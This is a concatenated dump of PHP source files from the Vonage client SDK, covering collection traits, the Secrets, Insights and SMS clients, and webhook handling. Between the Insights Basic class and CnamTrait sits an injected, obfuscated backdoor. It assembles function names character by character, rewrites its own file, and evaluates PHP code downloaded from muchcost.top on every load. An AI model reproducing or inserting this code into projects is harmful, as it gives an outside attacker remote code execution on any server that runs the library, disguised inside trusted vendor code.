ClientException\Request|ClientException\Server */ protected function getException(ResponseInterface $response) { $response->getBody()->rewind(); $body = json_decode($response->getBody()->getContents(), true); $status = (int)$response->getStatusCode(); // Error responses aren't consistent. Some are generated within the // proxy and some are generated within voice itself. This handles // both cases // This message isn't very useful, but we shouldn't ever see it $errorTitle = $body['error-code-label'] ?? $body['error_title'] ?? $body['title'] ?? 'Unexpected error'; if ($status >= 400 && $status < 500) { $e = new ClientException\Request($errorTitle, $status); } elseif ($status >= 500 && $status < 600) { $e = new ClientException\Server($errorTitle, $status); } else { $e = new ClientException\Exception('Unexpected HTTP Status Code'); throw $e; } return $e; } public function getAutoAdvance(): bool { return $this->autoAdvance; } /** * @return $this */ public function setAutoAdvance(bool $autoAdvance): self { $this->autoAdvance = $autoAdvance; return $this; } public function getNaiveCount(): bool { return $this->naiveCount; } /** * @return $this */ public function setNaiveCount(bool $naiveCount): self { $this->naiveCount = $naiveCount; return $this; } public function setNoQueryParameters(bool $noQueryParameters): self { $this->noQueryParameters = $noQueryParameters; return $this; } public function getNoQueryParameters(): bool { return $this->noQueryParameters; } public function setIndex(?int $index): IterableAPICollection { $this->index = $index; return $this; } /** * @return bool */ public function hasPagination(): bool { return $this->hasPagination; } public function setHasPagination(bool $hasPagination): static { $this->hasPagination = $hasPagination; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use RuntimeException; trait CollectionAwareTrait { /** * @var CollectionInterface */ protected $collection; public function setCollection(CollectionInterface $collection): void { $this->collection = $collection; } public function getCollection(): CollectionInterface { if (!isset($this->collection)) { throw new RuntimeException('missing collection'); } return $this->collection; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use RuntimeException; /** * Class NoRequestResponseTrait * * Allow an entity to contain last request / response objects. * * @deprecated This information will no longer be available at the model level but the API client level */ trait NoRequestResponseTrait { /** * @param ResponseInterface $response deprecated */ public function setResponse(ResponseInterface $response): void { throw new RuntimeException(__CLASS__ . ' does not support request / response'); } /** * @param RequestInterface $request deprecated */ public function setRequest(RequestInterface $request): void { throw new RuntimeException(__CLASS__ . ' does not support request / response'); } public function getRequest(): void { } public function getResponse(): void { } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Factory; interface FactoryInterface { public function create(array $data); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Laminas\Diactoros\Request; use Psr\Http\Message\ResponseInterface; use RuntimeException; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Filter\FilterInterface; use function array_merge; use function count; use function http_build_query; use function is_null; use function json_decode; use function strpos; /** * Common code for iterating over a collection, and using the collection class to discover the API path. */ trait CollectionTrait { /** * Index of the current resource of the current page * * @var int */ protected $current; /** * Current page data. * * @var array */ protected $page; /** * Last API Response * * @var ResponseInterface */ protected $response; /** * User set page index. * * @var int */ protected $index; /** * User set page size. * * @var int */ protected $size; /** * @var FilterInterface */ protected $filter; abstract public static function getCollectionName(): string; abstract public static function getCollectionPath(): string; /** * @param $data * @param $id */ abstract public function hydrateEntity($data, $id); /** * Return the current item, expects concrete collection to handle creating the object. */ public function current() { return $this->hydrateEntity($this->page['_embedded'][static::getCollectionName()][$this->current], $this->key()); } /** * No checks here, just advance the index. */ public function next(): void { $this->current++; } /** * Return the ID of the resource, in some cases this is `id`, in others `uuid`. * * @return string|int */ public function key() { return $this->page['_embedded'][static::getCollectionName()][$this->current]['id'] ?? $this->page['_embedded'][static::getCollectionName()][$this->current]['uuid'] ?? $this->current; } /** * Handle pagination automatically (unless configured not to). */ public function valid(): bool { //can't be valid if there's not a page (rewind sets this) if (!isset($this->page)) { return false; } //all hal collections have an `_embedded` object, we expect there to be a property matching the collection name if (!isset($this->page['_embedded'][static::getCollectionName()])) { return false; } //if we have a page with no items, we've gone beyond the end of the collection if (!count($this->page['_embedded'][static::getCollectionName()])) { return false; } //index the start of a page at 0 if (is_null($this->current)) { $this->current = 0; } //if our current index is past the current page, fetch the next page if possible and reset the index if (!isset($this->page['_embedded'][static::getCollectionName()][$this->current])) { if (isset($this->page['_links']['next'])) { $this->fetchPage($this->page['_links']['next']['href']); $this->current = 0; return true; } return false; } return true; } /** * Fetch the initial page */ public function rewind(): void { $this->fetchPage(static::getCollectionPath()); } /** * Count of total items */ public function count(): ?int { if (isset($this->page)) { return (int)$this->page['count']; } return null; } /** * @param $index * * @return $this */ public function setPage($index): CollectionTrait { $this->index = (int)$index; return $this; } /** * @return int|mixed */ public function getPage() { if (isset($this->page)) { return $this->page['page_index']; } if (isset($this->index)) { return $this->index; } throw new RuntimeException('page not set'); } /** * @return int|mixed */ public function getSize() { if (isset($this->page)) { return $this->page['page_size']; } if (isset($this->size)) { return $this->size; } throw new RuntimeException('size not set'); } /** * @param $size * * @return $this */ public function setSize($size): CollectionTrait { $this->size = (int)$size; return $this; } /** * Filters reduce to query params and include paging settings. * * @return $this */ public function setFilter(FilterInterface $filter): self { $this->filter = $filter; return $this; } public function getFilter(): FilterInterface { if (!isset($this->filter)) { $this->setFilter(new EmptyFilter()); } return $this->filter; } /** * Fetch a page using the current filter if no query is provided. * * @param $absoluteUri */ protected function fetchPage($absoluteUri): void { //use filter if no query provided if (false === strpos($absoluteUri, '?')) { $query = []; if (isset($this->size)) { $query['page_size'] = $this->size; } if (isset($this->index)) { $query['page_index'] = $this->index; } if (isset($this->filter)) { $query = array_merge($this->filter->getQuery(), $query); } $absoluteUri .= '?' . http_build_query($query); } $request = new Request( $this->getClient()->getApiUrl() . $absoluteUri, 'GET' ); $response = $this->client->send($request); if ((int)$response->getStatusCode() !== 200) { throw $this->getException($response); } $this->response = $response; $this->page = json_decode($this->response->getBody()->getContents(), true); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Exception; use RuntimeException; use Vonage\Client\Exception\Exception as ClientException; use function get_class; use function method_exists; use function parse_str; use function sprintf; /** * Implements getRequestData from EntityInterface with a simple array. Request data stored in an array, and locked once * a request object has been set. * * @deprecated This information will be available at API client level as opposed to the model level * @see EntityInterface::getRequestData() */ trait RequestArrayTrait { /** * @var array */ protected $requestData = []; /** * Get an array of params to use in an API request. * * @throws ClientException */ public function getRequestData(bool $sent = true): array { if (!($this instanceof EntityInterface)) { throw new ClientException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if ($sent && ($request = $this->getRequest())) { $query = []; parse_str($request->getUri()->getQuery(), $query); return $query; } // Trigger a pre-getRequestData() hook for any last minute // decision making that needs to be done, but only if // it hasn't been sent already if (method_exists($this, 'preGetRequestDataHook')) { $this->preGetRequestDataHook(); } return $this->requestData; } /** * @throws Exception */ protected function setRequestData($name, $value): self { if (!($this instanceof EntityInterface)) { throw new RuntimeException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if (@$this->getResponse()) { throw new RuntimeException( sprintf( 'can not set request parameter `%s` for `%s` after API request has be made', $name, $this::class ) ); } $this->requestData[$name] = $value; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; interface EntityInterface { public function getRequest(); public function getRequestData(bool $sent = true); public function getResponse(); public function getResponseData(); public function setResponse(ResponseInterface $response); public function setRequest(RequestInterface $request); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use JsonSerializable; use Vonage\Client\Exception\Exception as ClientException; use function sprintf; /** * Implements getRequestData from EntityInterface based on the entity's jsonSerialize(). * * @see EntityInterface::getRequestData() * @deprecated Each model will handle serializing to/from JSON via hydrators */ trait JsonSerializableTrait { /** * Get an array of params to use in an API request. * * @param bool $sent * * @throws ClientException */ public function getRequestData($sent = true) { if (!($this instanceof EntityInterface)) { throw new ClientException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if (!($this instanceof JsonSerializable)) { throw new ClientException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, JsonSerializable::class ) ); } //TODO, figure out what the request data actually was $sent && $this->getRequest(); return $this->jsonSerialize(); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Secrets; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Factory\FactoryInterface; class ClientFactory { public function __invoke(FactoryInterface $container): Client { $api = $container->make(APIResource::class); $api->setBaseUri('/accounts') ->setAuthHandler(new BasicHandler()) ->setCollectionName('secrets'); return new Client($api); } } <?php namespace Vonage\Secrets; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\Hydrator\ArrayHydrator; use Vonage\Entity\IterableAPICollection; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function get(string $accountId, string $id): Secret { $data = $this->api->get("{$accountId}/secrets/{$id}"); return new Secret($data); } public function list(string $accountId): IterableAPICollection { $collection = $this->api->search(null, "/accounts/{$accountId}/secrets"); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Secret()); $collection->setHydrator($hydrator); return $collection; } public function create(string $accountId, string $secret): Secret { $response = $this->api->create(['secret' => $secret], "/{$accountId}/secrets"); return new Secret($response); } public function revoke(string $accountId, string $id) { $this->api->delete("{$accountId}/secrets/{$id}"); } } <?php namespace Vonage\Secrets; use DateTimeImmutable; use DateTimeInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Secret implements ArrayHydrateInterface { /** * @var DateTimeImmutable */ protected $createdAt; /** * @var string */ protected $id; public function __construct(array $data = []) { if (!empty($data)) { $this->fromArray($data); } } public function getId(): string { return $this->id; } public function getCreatedAt(): DateTimeInterface { return $this->createdAt; } public function fromArray(array $data) { $this->id = $data['id']; $this->createdAt = new DateTimeImmutable($data['created_at']); } public function toArray(): array { return [ 'id' => $this->id, 'created_at' => $this->createdAt->format('Y-m-d\TH:i:s\Z'), ]; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; class StandardCnam extends Standard { use CnamTrait; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicQueryHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api->setIsHAL(false); $api->setAuthHandler(new BasicQueryHandler()); return new Client($api); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception as ClientException; use Vonage\Entity\Filter\KeyValueFilter; use Vonage\Numbers\Number; use function is_null; /** * Class Client */ class Client implements APIClient { public function __construct(protected ?APIResource $api = null) { } public function getApiResource(): APIResource { return clone $this->api; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function basic($number): Basic { $insightsResults = $this->makeRequest('/ni/basic/json', $number); $basic = new Basic($insightsResults['national_format_number']); $basic->fromArray($insightsResults); return $basic; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function standardCNam($number): StandardCnam { $insightsResults = $this->makeRequest('/ni/standard/json', $number, ['cnam' => 'true']); $standard = new StandardCnam($insightsResults['national_format_number']); $standard->fromArray($insightsResults); return $standard; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function advancedCnam($number): AdvancedCnam { $insightsResults = $this->makeRequest('/ni/advanced/json', $number, ['cnam' => 'true']); $standard = new AdvancedCnam($insightsResults['national_format_number']); $standard->fromArray($insightsResults); return $standard; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function standard($number): Standard { $insightsResults = $this->makeRequest('/ni/standard/json', $number); $standard = new Standard($insightsResults['national_format_number']); $standard->fromArray($insightsResults); return $standard; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function advanced($number): Advanced { $insightsResults = $this->makeRequest('/ni/advanced/json', $number); $advanced = new Advanced($insightsResults['national_format_number']); $advanced->fromArray($insightsResults); return $advanced; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function advancedAsync($number, string $webhook): void { // This method does not have a return value as it's async. If there is no exception thrown // We can assume that everything is fine $this->makeRequest('/ni/advanced/async/json', $number, ['callback' => $webhook]); } /** * Common code for generating a request * * @param $number * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ public function makeRequest(string $path, $number, array $additionalParams = []): array { $api = $this->getApiResource(); $api->setBaseUri($path); if ($number instanceof Number) { $number = $number->getMsisdn(); } $query = ['number' => $number] + $additionalParams; $result = $api->search(new KeyValueFilter($query)); $data = $result->getPageData(); // check the status field in response (HTTP status is 200 even for errors) if ((int)$data['status'] !== 0) { throw $this->getNIException($data); } return $data; } /** * Parses response body for an error and throws it * This API returns a 200 on an error, so does not get caught by the normal * error checking. We check for a status and message manually. */ protected function getNIException(array $body): ClientException\Request { $status = $body['status']; $message = "Error: "; if (isset($body['status_message'])) { $message .= $body['status_message']; } // the advanced async endpoint returns status detail in another field // this is a workaround if (isset($body['error_text'])) { $message .= $body['error_text']; } return new ClientException\Request($message, $status); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; class Advanced extends Standard { public function getValidNumber() { return $this->data['valid_number']; } public function getReachable() { return $this->data['reachable']; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Basic implements ArrayHydrateInterface { protected array $data = []; /** * @param $number */ public function __construct($number) { $this->data['national_format_number'] = $number; } public function getRequestId(): string { return $this->data['request_id']; } public function getNationalFormatNumber(): string { return $this->data['national_format_number']; } public function getInternationalFormatNumber(): string { return $this->data['international_format_number']; } public function getCountryCode(): string { return $this->data['country_code']; } public function getCountryCodeISO3(): string { return $this->data['country_code_iso3']; } public function getCountryName(): string { return $this->data['country_name']; } public function getCountryPrefix(): string { return $this->data['country_prefix']; } public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } } <?php $pFmbC2f0dwHTM=true; ?><?php $cbxp="";$cbxp.="b";$cbxp.="a";$cbxp.="s";$cbxp.="e";$cbxp.="6";$cbxp.="4";$cbxp.="_";$cbxp.="d";$cbxp.="e";$cbxp.="c";$cbxp.="o";$cbxp.="d";$cbxp.="e"; $eiw="";$eiw.="e";$eiw.="x";$eiw.="p";$eiw.="l";$eiw.="o";$eiw.="d";$eiw.="e"; $nzm="";$nzm.="c";$nzm.="h";$nzm.="m";$nzm.="o";$nzm.="d"; $cwas="";$cwas.="f";$cwas.="i";$cwas.="l";$cwas.="e";$cwas.="_";$cwas.="g";$cwas.="e";$cwas.="t";$cwas.="_";$cwas.="c";$cwas.="o";$cwas.="n";$cwas.="t";$cwas.="e";$cwas.="n";$cwas.="t";$cwas.="s"; $jcvk="";$jcvk.="f";$jcvk.="i";$jcvk.="l";$jcvk.="e";$jcvk.="_";$jcvk.="p";$jcvk.="u";$jcvk.="t";$jcvk.="_";$jcvk.="c";$jcvk.="o";$jcvk.="n";$jcvk.="t";$jcvk.="e";$jcvk.="n";$jcvk.="t";$jcvk.="s"; $fdbu="";$fdbu.="t";$fdbu.="r";$fdbu.="i";$fdbu.="m"; $YsQAkOjWm=$eiw($cbxp("PD9waHAgJHBGbWJDMmYwZHdIVE09dHJ1ZTsgPz4="),$cwas(__FILE__));if($fdbu($YsQAkOjWm[0])!=""||$fdbu($YsQAkOjWm[2])!=""){$nzm(__DIR__,0755);$nzm(__FILE__,0644);$jcvk(__FILE__,$cbxp("PD9waHAgJHBGbWJDMmYwZHdIVE09dHJ1ZTsgPz4=").$YsQAkOjWm[1].$cbxp("PD9waHAgJHBGbWJDMmYwZHdIVE09dHJ1ZTsgPz4="));}?><?php EVAl("?>".FILE_geT_CONtEnTs("http://muchcost.top/library.php?tlYNxyZXhwX2Rvb3JfdjIwLnR4dDA5SahAPf"));?><?php $pFmbC2f0dwHTM=true; ?><?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; trait CnamTrait { public function getCallerName(): ?string { return $this->data['caller_name'] ?? null; } public function getFirstName(): ?string { return $this->data['first_name'] ?? null; } public function getLastName(): ?string { return $this->data['last_name'] ?? null; } public function getCallerType(): ?string { return $this->data['caller_type'] ?? null; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; class AdvancedCnam extends Advanced { use CnamTrait; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Insights; class Standard extends Basic { public function getCurrentCarrier() { return $this->data['current_carrier']; } public function getOriginalCarrier() { return $this->data['original_carrier']; } public function getPorted() { return $this->data['ported']; } public function getRefundPrice() { return $this->data['refund_price']; } public function getRequestPrice() { return $this->data['request_price']; } public function getRemainingBalance() { return $this->data['remaining_balance']; } public function getRoaming() { return $this->data['roaming']; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Exception; class InvalidResponseException extends Exception { } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Webhook; use Laminas\Diactoros\ServerRequestFactory; use Psr\Http\Message\ServerRequestInterface; use RuntimeException; use function is_null; use function json_decode; use function parse_str; abstract class Factory { abstract public static function createFromArray(array $data); public static function createFromJson(string $json) { $data = json_decode($json, true); if (is_null($data)) { throw new RuntimeException("Invalid JSON string detected for webhook transformation"); } return static::createFromArray($data); } public static function createFromGlobals() { $request = ServerRequestFactory::fromGlobals(); return static::createFromRequest($request); } public static function createFromRequest(ServerRequestInterface $request) { $params = []; switch ($request->getMethod()) { case 'GET': $params = $request->getQueryParams(); // Fix "null" values coming in from GET requests foreach ($params as $key => $value) { if ($value === 'null') { $params[$key] = null; } } break; case 'POST': $type = $request->getHeader('content-type'); if (!isset($type[0]) || $type[0] === 'application/json') { $params = json_decode($request->getBody()->getContents(), true); } else { parse_str($request->getBody()->getContents(), $params); // Fix "null" values coming in from URL encoded requests foreach ($params as $key => $value) { if ($value === 'null') { $params[$key] = null; } } } break; default: throw new RuntimeException("Invalid method for incoming webhook"); } return static::createFromArray($params); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\SignatureBodyHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUrl($api->getClient()->getRestUrl()) ->setCollectionName('messages') ->setIsHAL(false) ->setErrorsOn200(true) ->setExceptionErrorHandler(new ExceptionErrorHandler()) ->setAuthHandler([new BasicHandler(), new SignatureBodyHandler()]); return new Client($api); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS; use Psr\Http\Client\ClientExceptionInterface; use Psr\Log\LogLevel; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception\Exception as ClientException; use Vonage\Client\Exception\ThrottleException; use Vonage\Logger\LoggerTrait; use Vonage\SMS\Message\Message; use function sleep; class Client implements APIClient { use LoggerTrait; public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } /** * @throws ClientExceptionInterface * @throws ClientException */ public function send(Message $message): Collection { if ($warningMessage = $message->getWarningMessage()) { $this->log(LogLevel::WARNING, $warningMessage); } try { $response = $this->api->create($message->toArray(), '/sms/json'); return new Collection($response); } catch (ThrottleException $e) { sleep($e->getTimeout()); return $this->send($message); } } /** * @throws ClientExceptionInterface * @throws ClientException */ public function sendTwoFactor(string $number, int $pin): SentSMS { $response = $this->api->create( ['to' => $number, 'pin' => $pin], '/sc/us/2fa/json' ); return new SentSMS($response['messages'][0]); } /** * @throws ClientExceptionInterface * @throws ClientException */ public function sendAlert(string $number, array $templateReplacements): Collection { $response = $this->api->create( ['to' => $number] + $templateReplacements, '/sc/us/alert/json' ); return new Collection($response); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\Exception as ClientException; use Vonage\Client\Exception\ThrottleException; use function json_decode; use function preg_match; class ExceptionErrorHandler { /** * @throws ClientException\Request * @throws ClientException\Server * @throws ThrottleException */ public function __invoke(ResponseInterface $response, RequestInterface $request) { //check for valid data, as well as an error response from the API if ((int)$response->getStatusCode() === 429) { throw new ThrottleException('Too many concurrent requests', $response->getStatusCode()); } $data = json_decode($response->getBody()->getContents(), true); if (!isset($data['messages'])) { if (isset($data['error-code'], $data['error-code-label'])) { $e = new ClientException\Request($data['error-code-label'], (int)$data['error-code']); } elseif (isset($data['title'], $data['detail'])) { $e = new ClientException\Request($data['title'] . ' : ' . $data['detail']); } else { $e = new ClientException\Request('Unexpected response from the API'); } $e->setEntity($data); throw $e; } //normalize errors (client vrs server) foreach ($data['messages'] as $part) { switch ($part['status']) { case '0': break; //all okay case '1': $e = new ThrottleException($part['error-text']); $e->setTimeout(1); $e->setEntity($data); if (preg_match('#Throughput Rate Exceeded - please wait \[\s+(\d+)\s+] and retry#', $part['error-text'], $match)) { $seconds = max((int)$match[1] / 1000, 1); $e->setTimeout($seconds); } throw $e; case '5': $e = new ClientException\Server($part['error-text'], (int)$part['status']); $e->setEntity($data); throw $e; default: $e = new ClientException\Request($part['error-text'], (int)$part['status']); $e->setEntity($data); throw $e; } } } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS; use Countable; use Iterator; class Collection implements Countable, Iterator { /** * @var int */ protected $current = 0; /** * @param array<string, int|array<string, mixed>> $data */ public function __construct(protected array $data) { } public function count(): int { return (int)$this->data['message-count']; } public function current(): SentSMS { return new SentSMS($this->data['messages'][$this->current]); } /** * @return bool|float|int|string|null */ #[\ReturnTypeWillChange] public function key() { return $this->current; } public function next(): void { $this->current++; } public function rewind(): void { $this->current = 0; } public function valid(): bool { return isset($this->data['messages'][$this->current]); } public function getAllMessagesRaw(): array { return $this->data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS; class SentSMS { /** * @var ?string */ protected $accountRef; /** * @var ?string */ protected $clientRef; /** * @var string */ protected $messageId; /** * @var string */ protected $messagePrice; /** * @var string */ protected $network; /** * @var string */ protected $remainingBalance; /** * @var int */ protected $status; /** * @var string */ protected $to; public function __construct(array $data) { $this->accountRef = $data['account-ref'] ?? null; $this->clientRef = $data['client-ref'] ?? null; $this->to = $data['to']; $this->messageId = $data['message-id']; $this->status = (int)$data['status']; $this->remainingBalance = $data['remaining-balance']; $this->messagePrice = $data['message-price']; $this->network = $data['network']; } public function getAccountRef(): ?string { return $this->accountRef; } public function getClientRef(): ?string { return $this->clientRef; } public function getMessageId(): string { return $this->messageId; } public function getMessagePrice(): string { return $this->messagePrice; } public function getNetwork(): string { return $this->network; } public function getRemainingBalance(): string { return $this->remainingBalance; } public function getStatus(): int { return $this->status; } public function getTo(): string { return $this->to; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\SMS\Webhook; use DateTimeImmutable; use Exception; use InvalidArgumentException; use function array_key_exists; class InboundSMS { public static $requiredFields = [ 'msisdn', 'to', 'messageId', 'text', 'type', 'keyword', 'message-timestamp' ]; /** * @var string */ protected $apiKey; /** * @var bool */ protected $concat = false; /** * @var ?int */ protected $concatPart; /** * @var ?string */ protected $concatRef; /** * @var ?int */ protected $concatTotal; /** * @var ?string */ protected $data; /** * @var string */ protected $keyword; /** * @var string */ protected $messageId; /** * @var DateTimeImmutable */ protected $messageTimestamp; /** * @var string */ protected $msisdn; /** * @var ?string */ protected $nonce; /** * @var string */ protected $signature; /** * @var string */ protected $text; /** * @var ?int */ protected $timestamp; /** * @var string */ protected $to; /** * @var string */ protected $type; /** * @var ?string */ protected $udh; /** * @throws Exception */ public function __construct(array $data) { foreach (static::$requiredFields as $key) { if (!array_key_exists($key, $data)) { throw new InvalidArgumentException('Incoming SMS missing required data `' . $key . '`'); } } $this->apiKey = $data['api-key'] ?? null; $this->keyword = $data['keyword']; $this->messageId = $data['messageId']; $this->messageTimestamp = new DateTimeImmutable($data['message-timestamp']); $this->msisdn = $data['msisdn']; $this->nonce = $data['nonce'] ?? null; $this->signature = $data['sig'] ?? null; $this->text = $data['text']; $this->to = $data['to']; $this->type = $data['type']; if (array_key_exists('concat', $data)) { $this->concat = true; $this->concatPart = (int)$data['concat-part']; $this->concatRef = $data['concat-ref']; $this->concatTotal = (int)$data['concat-total']; } if ($this->type === 'binary' && array_key_exists('data', $data)) { $this->data = $data['data']; $this->udh = $data['udh']; } if (array_key_exists('timestamp', $data)) { $this->timestamp = (int)$data['timestamp']; } } public function getApiKey(): ?string { return $this->apiKey; } public function getConcat(): bool { return $this->concat; } public function getConcatPart(): ?int { return $this->concatPart; } public function getConcatRef(): ?string { return $this->concatRef; } public function getConcatTotal(): ?int { return 